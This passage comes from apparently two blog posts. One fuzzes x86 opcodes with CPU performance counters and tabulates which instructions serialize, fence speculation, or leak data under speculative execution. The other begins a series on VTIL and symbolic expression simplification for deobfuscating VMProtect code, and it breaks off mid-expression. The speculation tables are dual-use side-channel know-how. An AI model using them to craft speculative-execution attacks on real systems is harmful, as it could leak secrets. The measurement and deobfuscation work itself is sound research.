 6 const i1 = instructions[k1];
 7 if (!i1 || k1.length <= 2) {
 8 continue;
 9 }
10
11 // Find maching entries:
12 //
13 for (const k2 of Object.keys(instructions)) {
14 // If it is matching except the last byte:
15 //
16 if (k2.startsWith(k1.substr(0, k1.length - 2)) && k2 != k1) {
17 // If it has matching properties ignoring the length, erase it
18 //
19 const i2 = instructions[k2];
20 if (propertyMatch(i1, i2)) {
21 delete instructions[k2];
22 }
23 }
24 }
25}

0x2: Deduction of behavior

Let’s demonstrate the amazing amount of information we’ve gathered just from these two counters and some bytes existing at some fixed place without even being executed. If MS is below the nop baseline, this would indicate that the control flow is interrupted meaning that it must be a branch or an exception and if the MITS is the same as the fault-baseline, this likely indicates a serializing instruction which dispatched a number of micro-instructions (given that it passed our initial filter of MS or MITS not remaining same) but then halted the speculative flow (since none of the NOP opcodes were decoded).

index	decoding	mits	ms	serializing	speculationFence
668690	xchg byte ptr [rax-0x6f6f6f70], dl	47	88	true	false
6c	insb	39	112	true	true
6d	insd	39	99	true	true
6e	outsb	39	98	true	true
6f	outsd	39	98	true	true
8e90	mov ss, word ptr [rax-0x6f6f6f70]	42	86	true	true
c290	ret 0x9090	43	107	true	true^*
c3	ret	41	106	true	true^*
ca90	ret far 0x9090	39	145	true	true^*
cb	ret far	39	145	true	true
cc	int3	39	94	true	true
cd90	int 0x90	39	91	true	true
cf	iretd	39	136	true	true
e490	in al, 0x90	39	110	true	true
e590	in eax, 0x90	39	110	true	true
e690	out 0x90, al	39	110	true	true
e790	out 0x90, eax	39	110	true	true
ec	in al, dx	39	109	true	true
ed	in eax, dx	39	109	true	true
ee	out dx, al	39	109	true	true
ef	out dx, eax	39	109	true	true
f1	int1	39	112	true	true
f4	hlt	39	124	true	true
0f0090	lldt word ptr [rax-0x6f6f6f70]	47	93	true	true
0f0098	ltr word ptr [rax-0x6f6f6f70]	39	110	true	true
0f0080	sldt word ptr [rax-0x6f6f6f70]	47	87	true	false
0f0081	sldt word ptr [rcx-0x6f6f6f70]	47	87	true	false
0f0088	str word ptr [rax-0x6f6f6f70]	47	87	true	false
0f00a0	verr word ptr [rax-0x6f6f6f70]	47	91	true	true
0f00a8	verw word ptr [rax-0x6f6f6f70]	47	91	true	true
0f00d8	ltr ax	39	108	true	true
0f0190	lgdt ptr [rax-0x6f6f6f70]	47	94	true	true
0f0198	lidt ptr [rax-0x6f6f6f70]	47	94	true	true
0f0180	sgdt ptr [rax-0x6f6f6f70]	47	89	true	false
0f0188	sidt ptr [rax-0x6f6f6f70]	47	88	true	false
0f01b0	lmsw word ptr [rax-0x6f6f6f70]	39	103	true	true
0f01b8	invlpg byte ptr [rax-0x6f6f6f70]	39	114	true	true
0f01a0	smsw word ptr [rax-0x6f6f6f70]	47	85	true	false
f20f22a4	mov cr4, rsp	39	103	true	true
f20f2396	mov dr2, rsi	39	110	true	true
f20f2380	mov dr0, rax	39	109	true	true
f20fc788	cmpxchg8b qword ptr [rax-0x6f6f6f70]	46	95	true	false
f20fc78a	cmpxchg8b qword ptr [rdx-0x6f6f6f70]	46	95	true	false
f38690	xrelease xchg byte ptr [rax-0x6f6f6f70], dl	47	88	true	false
f38790	xrelease xchg dword ptr [rax-0x6f6f6f70], edx	47	88	true	false
f38890	xrelease mov byte ptr [rax-0x6f6f6f70], dl	47	84	true	false
f38990	xrelease mov dword ptr [rax-0x6f6f6f70], edx	47	84	true	false
f36c	rep insb	39	112	true	true
f36d	rep insd	39	112	true	true
f36e	rep outsb	39	111	true	true
f36f	rep outsd	39	111	true	true
f3a4	rep movsb byte ptr [rdi], byte ptr [rsi]	43	118	true	true^*
f3a6	rep cmpsb byte ptr [rsi], byte ptr [rdi]	43	123	true	true^*
f3a7	rep cmpsd dword ptr [rsi], dword ptr [rdi]	43	123	true	true^*
f3aa	rep stosb byte ptr [rdi]	43	125	true	true^*
f3ac	rep lodsb byte ptr [rsi]	43	106	true	true^*
f3ad	rep lodsd dword ptr [rsi]	43	106	true	true^*
f3ae	rep scasb byte ptr [rdi]	43	123	true	true^*
f3af	rep scasd dword ptr [rdi]	43	123	true	true^*
f30f0082	sldt word ptr [rdx-0x6f6f6f70]	46	87	true	false
f30f0088	str word ptr [rax-0x6f6f6f70]	46	87	true	false
f30f0180	sgdt ptr [rax-0x6f6f6f70]	46	89	true	false
f30f018a	sidt ptr [rdx-0x6f6f6f70]	46	88	true	false
f30f01a1	smsw word ptr [rcx-0x6f6f6f70]	46	85	true	false
f30f2190	mov rax, dr2	39	107	true	true
f30f22a4	mov cr4, rsp	39	103	true	true
f30f2380	mov dr0, rax	39	109	true	true
f30f238e	mov dr1, rsi	39	110	true	true
f30f7890		39	87	true	true
f30f7990		39	87	true	true
f30fc789	cmpxchg8b qword ptr [rcx-0x6f6f6f70]	46	95	true	false
f30fc78f	cmpxchg8b qword ptr [rdi-0x6f6f6f70]	46	95	true	false
f30fc7b0	vmxon qword ptr [rax-0x6f6f6f70]	39	116	true	true
f30fc733	vmxon qword ptr [rbx]	39	119	true	true
f30fc776	vmxon qword ptr [rsi-0x70]	39	120	true	true

Considering how simplistic the conditions are, not bad right?

0x3: Deduction of speculative behavior

You might have noticed the “Speculation fence” indication in the previous data dump. I’ve gotten a bit greedy and wanted to also know if the instructions speculatively execute or if they halt the queue for the sake of side-channeling the results so I went ahead and collected another piece of information, which comes from a rather unexpected performance counter:

You might be wondering what this has to do with anything. This particular counter is very useful given the fact that we don’t do any divisions in our previous code. Why? Because this means adding a division right after the instruction and seeing if the cycles is non-zero will let us know if the speculative execution was halted or not. We achieve this by first squeezing a divps xmm4, xmm5 there right before the #UD‘ing 0xCE and finally we waste some cycles at the non-speculative counterpart to cause a stall giving the speculative code more execution time from the execution port. Changing the previous routine code to the following pretty much gives us the perfect setup:

 1vmovups ymm0, [temp]
 2vmovups ymm1, [temp]
 3vmovups ymm2, [temp]
 4vmovups ymm3, [temp]
 5vzeroupper
 6addps xmm0, xmm1
 7vaddps ymm2, ymm0, ymm3
 8vaddps ymm1, ymm0, ymm2
 9vaddps ymm3, ymm0, ymm1
10vaddps ymm0, ymm0, [temp]
11vaddps ymm1, ymm0, [temp]
12vaddps ymm2, ymm0, [temp]
13vaddps ymm3, ymm0, [temp]
14vaddps ymm0, ymm0, ymm1
15vaddps ymm2, ymm0, ymm3
16vaddps ymm1, ymm0, ymm2
17vaddps ymm3, ymm0, ymm1
18vaddps ymm0, ymm0, [temp]
19vaddps ymm1, ymm0, [temp]
20vaddps ymm2, ymm0, [temp]
21vaddps ymm3, ymm0, [temp]
22vaddps ymm0, ymm0, ymm1
23vaddps ymm2, ymm0, ymm3
24vaddps ymm1, ymm0, ymm2
25vaddps ymm3, ymm0, ymm1
26vaddps ymm0, ymm0, [temp]
27vaddps ymm1, ymm0, [temp]
28vaddps ymm2, ymm0, [temp]
29vaddps ymm3, ymm0, [temp]
30vaddps ymm0, ymm0, ymm1
31vaddps ymm2, ymm0, ymm3
32vaddps ymm1, ymm0, ymm2
33vaddps ymm3, ymm0, ymm1
34lea rax, [rip+z]
35xchg [rsp], rax
36ret

AVX to SSE switch, memory stall, register dependencies, atomicity, this one has it all! Marking the entries that have non-zero counters as “speculative friendly” essentially lets us know what instructions we can speculatively execute and leak information from, and as you can see in the next example it seems to work pretty nicely.

These indeed leak data under speculative execution:

index	decoding	mits	ms	serializing	speculationFence
8690	xchg byte ptr [rax-0x6f6f6f70], dl	48	88	false	false
e090	loopne 0xffffffffffffff92	56	87	false	false
fb	sti	56	83	false	false
fc	cld	53	83	false	false
0f0080	sldt word ptr [rax-0x6f6f6f70]	47	87	true	false
0f0081	sldt word ptr [rcx-0x6f6f6f70]	47	87	true	false
0f0088	str word ptr [rax-0x6f6f6f70]	47	87	true	false
0f00c0	sldt eax	51	85	false	false
0f00c8	str eax	51	85	false	false
0f0009	str word ptr [rcx]	51	87	false	false
0f0180	sgdt ptr [rax-0x6f6f6f70]	47	89	true	false
0f0188	sidt ptr [rax-0x6f6f6f70]	47	88	true	false
0f01a0	smsw word ptr [rax-0x6f6f6f70]	47	85	true	false
0f01a1	smsw word ptr [rcx-0x6f6f6f70]	47	85	true	false
0f01d0	xgetbv	51	88	false	false
0f01d5	xend	51	84	false	false
0f01e0	smsw eax	51	84	false	false
0f010f	sidt ptr [rdi]	51	88	false	false
0f0140	sgdt ptr [rax-0x70]	50	89	false	false
0f2098	mov rax, cr3	51	88	false	false
0f2080	mov rax, cr0	51	85	false	false
0f31	rdtsc	52	93	false	false
0f77	emms	52	111	false	false
0fa1	pop fs	52	87	false	false
0fa390	bt dword ptr [rax-0x6f6f6f70], edx	51	86	false	false
⋯
f30f0082	sldt word ptr [rdx-0x6f6f6f70]	46	87	true	false
f30f0088	str word ptr [rax-0x6f6f6f70]	46	87	true	false
f30f0006	sldt word ptr [rsi]	50	87	false	false
f30f000a	str word ptr [rdx]	50	87	false	false
f30f0180	sgdt ptr [rax-0x6f6f6f70]	46	89	true	false
f30f018a	sidt ptr [rdx-0x6f6f6f70]	46	88	true	false
f30f01a1	smsw word ptr [rcx-0x6f6f6f70]	46	85	true	false
f30f010f	sidt ptr [rdi]	50	88	false	false
f30f0126	smsw word ptr [rsi]	50	85	false	false
f30f0140	sgdt ptr [rax-0x70]	49	89	false	false
f30faed0	wrfsbase eax	50	87	false	false
f30faed8	wrgsbase eax	50	87	false	false
f30faec0	rdfsbase eax	50	86	false	false
f30faec8	rdgsbase eax	50	86	false	false
f30fb391	btr dword ptr [rcx-0x6f6f6f70], edx	50	86	false	false
f30fb39f	btr dword ptr [rdi-0x6f6f6f70], ebx	50	86	false	false
f30fbb92	btc dword ptr [rdx-0x6f6f6f70], edx	50	86	false	false
f30fbb94	btc dword ptr [rax+rdx*4-0x6f6f6f70], edx	49	86	false	false
f30fc789	cmpxchg8b qword ptr [rcx-0x6f6f6f70]	46	95	true	false
f30fc78f	cmpxchg8b qword ptr [rdi-0x6f6f6f70]	46	95	true	false

Yet these do not:

index	decoding	mits	ms	serializing	speculationFence
6c	insb	39	112	true	true
6d	insd	39	99	true	true
6e	outsb	39	98	true	true
6f	outsd	39	98	true	true
8e90	mov ss, word ptr [rax-0x6f6f6f70]	42	86	true	true
9d	popfq	55	87	false	true
c290	ret 0x9090	43	107	true	true
c3	ret	41	106	true	true
c890	enter 0x9090, 0x90	50	93	false	true
ca90	ret far 0x9090	39	145	true	true
cb	ret far	39	145	true	true
cc	int3	39	94	true	true
cd90	int 0x90	39	91	true	true
cf	iretd	39	136	true	true
e190	loope 0xffffffffffffff92	64	83	false	true
e490	in al, 0x90	39	110	true	true
e590	in eax, 0x90	39	110	true	true
e690	out 0x90, al	39	110	true	true
e790	out 0x90, eax	39	110	true	true
ec	in al, dx	39	109	true	true
ed	in eax, dx	39	109	true	true
ee	out dx, al	39	109	true	true
ef	out dx, eax	39	109	true	true
f1	int1	39	112	true	true
f390	pause	52	86	false	true
f4	hlt	39	124	true	true
fd	std	53	83	false	true
0f0090	lldt word ptr [rax-0x6f6f6f70]	47	93	true	true
0f0098	ltr word ptr [rax-0x6f6f6f70]	39	110	true	true
0f00a0	verr word ptr [rax-0x6f6f6f70]	47	91	true	true
0f00a8	verw word ptr [rax-0x6f6f6f70]	47	91	true	true
0f00d0	lldt ax	51	91	false	true
0f00d8	ltr ax	39	108	true	true
⋯
0f00e0	verr ax	51	90	false	true
0f00e8	verw ax	51	90	false	true
0f0190	lgdt ptr [rax-0x6f6f6f70]	47	94	true	true
0f0198	lidt ptr [rax-0x6f6f6f70]	47	94	true	true
0f01b0	lmsw word ptr [rax-0x6f6f6f70]	39	103	true	true
0f01b8	invlpg byte ptr [rax-0x6f6f6f70]	39	114	true	true
0f01d1	xsetbv	51	117	false	true
0f01d2		39	87	true	true
0f01d4	vmfunc	39	83	true	true
0f2193	mov rbx, dr2	39	107	true	true

0x: Some of the interesting results

Here is the full list of undocumented easter-egg instructions my i7 6850k comes with:

index	decoding	mits	ms	serializing	speculationFence
0f01d2		39	87	true	true
0f01c6		39	83	true	true
0f01cc		39	104	true	true
0f0c90		39	138	true	true^*
0f0e	femms	52	101	false	true^*
0faed0		39	87	true	true
0fc790		39	87	true	true
660f3883		39	81	true	true
660f3860		39	87	true	true
660f3a80		39	87	true	true
f30f7890		39	87	true	true
f30f7990		39	87	true	true
f30fe7fc		73	80	false	true

Contrary to popular belief mov cr2, reg is not serializing.

index	decoding	mits	ms	serializing	speculationFence
0f2090	mov rax, cr2	51	83	false	false
0f2098	mov rax, cr3	51	88	false	false
0f2080	mov rax, cr0	51	85	false	false
0f2290	mov cr2, rax	51	87	false	true^*
0f2298	mov cr3, rax	39	161	true	true
0f2299	mov cr3, rcx	39	151	true	true
0f229b	mov cr3, rbx	39	155	true	true
0f2280	mov cr0, rax	39	110	true	true
0f2281	mov cr0, rcx	39	153	true	true
0f22a0	mov cr4, rax	39	103	true	true
0f22a1	mov cr4, rcx	39	120	true	true
0f22a4	mov cr4, rsp	39	104	true	true
660f22a4	mov cr4, rsp	39	103	true	true
f20f22a4	mov cr4, rsp	39	103	true	true
f30f22a4	mov cr4, rsp	39	103	true	true

Despite lacking the CPL check of int imm8, int1 has more logic in the microcode.

index	decoding	mits	ms	serializing	speculationFence
cc	int3	39	94	true	true
cd90	int 0x90	39	91	true	true
f1	int1	39	112	true	true^*

mov ss is a speculation fence whereas cli isn’t. lss is a speculation fence whereas lgs isn’t.

index	decoding	mits	ms	serializing	speculationFence
8890	mov byte ptr [rax-0x6f6f6f70], dl	49	80	false	false
8990	mov dword ptr [rax-0x6f6f6f70], edx	49	80	false	false
668890	mov byte ptr [rax-0x6f6f6f70], dl	48	80	false	false
8a90	mov dl, byte ptr [rax-0x6f6f6f70]	49	80	false	false
8b90	mov edx, dword ptr [rax-0x6f6f6f70]	49	80	false	false
8c90	mov word ptr [rax-0x6f6f6f70], ss	50	80	false	false
8e90	mov ss, word ptr [rax-0x6f6f6f70]	42	86	true	true^*
fa	cli	56	80	false	false
0fb290	lss edx, ptr [rax-0x6f6f6f70]	39	89	true	true^*
0fb590	lgs edx, ptr [rax-0x6f6f6f70]	47	89	true	false

Writing an optimizing IL compiler, for dummies, by a dummy: 0x1 Symbolic Expressions

Sat, 11 Apr 2020 00:00:00 +0000

Before I begin this series of blog posts, I would like to add a small disclaimer. I have no prior experience or academic knowledge when it comes to compiler development so I might not use the correct jargon or state of the art algorithm, but nonetheless, I wanted to share my journey working on VTIL which is a project I started aiming to make the translation of a virtual machine architecture –e.g. VMProtect– into x86-64 easier. You will be able to find the source code for most of the things I will mention here.

0x0: Why?

I started this journey with one single goal, reverse engineering VMProtect, mostly because I was sick and tired of every so-called security company buying this product, which is priced at an astonishing 250$, slapping it on their “product”, and calling it a day since no one will bother checking it. Now the initial reversal took roughly 36 hours, which wasn’t so bad, but what came after that was a month(+) long journey of optimizing it back to x86-64 code so I could use the output with common analysis tools. Surprise surprise, IDA turns out to be not as good at optimizations as I thought. Let alone failing to group a simple combination of operators ~((~x&~x)+y)&~((~x&~x)+y => ~(~x+y) => x-y, it failed on me for the simplest things, as it usually does.

I did not want to use LLVM because it didn’t seem like the right tool for the job (translation in specific and not optimization obviously) (and because I’m a stubborn fan of reinventing the wheel), and I did not want to use Z3 because the API was not so appealing and I kept getting told that it was not that good at simplification, which lead to me deciding to develop an entire toolchain with its own instruction set, expression simplifier, and optimizing compiler designed around binary translation. I’ll start this series with symbolic expressions since that’s where most of the optimization logic boils down to.

0x1: Symbolic Expressions?

Now what is a symbolic expression really and what are we using them for? VTIL uses symbolic expressions to describe the value a register or a memory location holds after the execution of a certain instruction, expressed in a static-single-assignment like form by tagging the operands with the source virtual instruction pointer, VIP, to compensate for the non-SSA ISA VTIL has.

This is useful for many reasons such as exploring the virtual-machine’s control-flow since you have to resolve the jump destination to continue processing the virtual instruction stream, producing an output that does not immediately make IDA suicide or performing basically any kind of bitwise or arithmetic optimization to clean up the obfuscated code.

Generating one can be done with ease from even a non-SSA architecture such as the one we use for VTIL. Consider the following basic block instance:

1movq t2, t0 | mov r8, rax
2orq t2, t1 | or r8, rcx
3movq t3, t1 | mov r9, rcx
4andq t3, t0 | and r9, rax
5notq t3 | not r9
6andq t3, t2 | and r9, r8

I’ve written the “equivalent” routine in x86-64 on the right side just to clarify what each VTIL instruction translates into.

Let’s try to express the value of t3 after the whole block is executed. Reading the stream backward, t3 is equal to (t3@6+t2@2), t3@6 is equal to ~t3@5, which is ~(t3@4&t0), which is ~(t1@0&t0@0), and so on. Following the same logic for the whole expression, we get (t0|t1)&~(t0&t1). To put it simply, you trace it back the entire routine until you hit an instruction you cannot resolve the result of, or reach the end of the block. This, of course, gets harder when you start implementing cross-block optimization, especially with loops and conditional jumps, or partial data read/write, but they are out of the scope of this post. (I will be explaining all quirks of it in another post, hopefully, this week along with a bunch of data optimization techniques.)

Now that we got the gist of generating one, let’s try simplifying it. Simplifying an expression such as this is weird enough, very easy to do by head since we do this process almost automatically, but hard to describe how and why to a computer since we do “post-mortem” analysis when explaining our steps and start saying “Well x was y so I did this then I did this and here’s the result”, which is never easy enough to generalize to any expression. This has always been the reverse of my experience with computers in general so I personally find this task very, very interesting.

Since I have apparently skipped middle school maths and jumped to calculus straight and am incapable of describing operator properties in a formal way, we’ll reverse engineer a human brain instead. When I saw this expression, I started reading from the beginning, skipped to the operator noting the left-hand side operand, saw a paranthesis so started reading it in the same way until the whole expression is parsed. This kind of parsing reminds me of a tree so I’m going to make the assumption that easiest way to represent these expressions is by using a tree.

(t0|t1)&~(t0&t1) in tree format.

Try simplifying it now noting your actions as you go. As a fellow human being, I skipped LHS, and started following [&].RHS, repeated the same thing, following [~&].RHS, since both operands were unknown variables to me, I jumped back to [&].LHS, and then [|].RHS into[|].LHS both of which I skipped again since operands were unknown again. Now I find myself trying to understand what it really does, one side of the AND is taking OR of both variables, which means at least one of them must be set (at boolean level) to have an outcome of one, and other side is taking NOT AND, which means they can’t be set at the same time, so I’ll write down t0^t1 and be done with it, tada, all of this optimized into a simple xorq.

That was a rather horrifying experience if you ask me since I just randomly came up with rules which I could not possibly list if you asked me to (correction: apparently I could). But the general steps seem to be recursively simplifying the operands and trying to merge them together as a part of this simplification process if we failed to transform the whole tree.

0x2: Small steps, structure design.

First of all, we know that the simplification process is mostly recursive pattern matching, giving it a try, and repeating, with certain rules to make it more interesting. You really don’t want to use a tree that does deep-copies or any copies at all by default in this situation if you do not want to stand in front of your computer for 30 minutes waiting for the simplification, so I started by writing a simple copy-on-write reference implementation making sure I do not copy anything at all if possible, which can be found here.

Another thing you want to absolutely avoid is repeated calculations, so I will also add a hash to the expression structure which will be assigned at the constructor of the expression in a O(1) way that will not require the traversal of the tree and a trivially implemented lookup map to serve as the cache of the expression simplifier. Since VTIL is thread-safe and we do not want a global lock to impair the performance with most likely no benefit–since the same temporaries will not be used across threads–this lookup map will be declared thread-local.

The structure looks something like this in my head so far:

 1struct expression
 2{
 3 ?int??_t? value;
 4
 5 size_t hash;
 6 bool simplified?;
 7
 8 operator_id op;
 9 shared_reference<expression> lhs; // Will be null for unary operations.
10 shared_reference<expression> rhs;
11 ...
12};

I already have a VMProtected sample lifted to VTIL, so I just went ahead and generated an expression for the branching destination of a “simple” Jcc to use as a sample across our tests:

Hey! Click to expand this cute little JCC :)

1((~[(~[(~[(((~[-0x41]&~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])])])>>(0x6&-0x1))+-0x1)]&~[(((~[-0x41]&~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 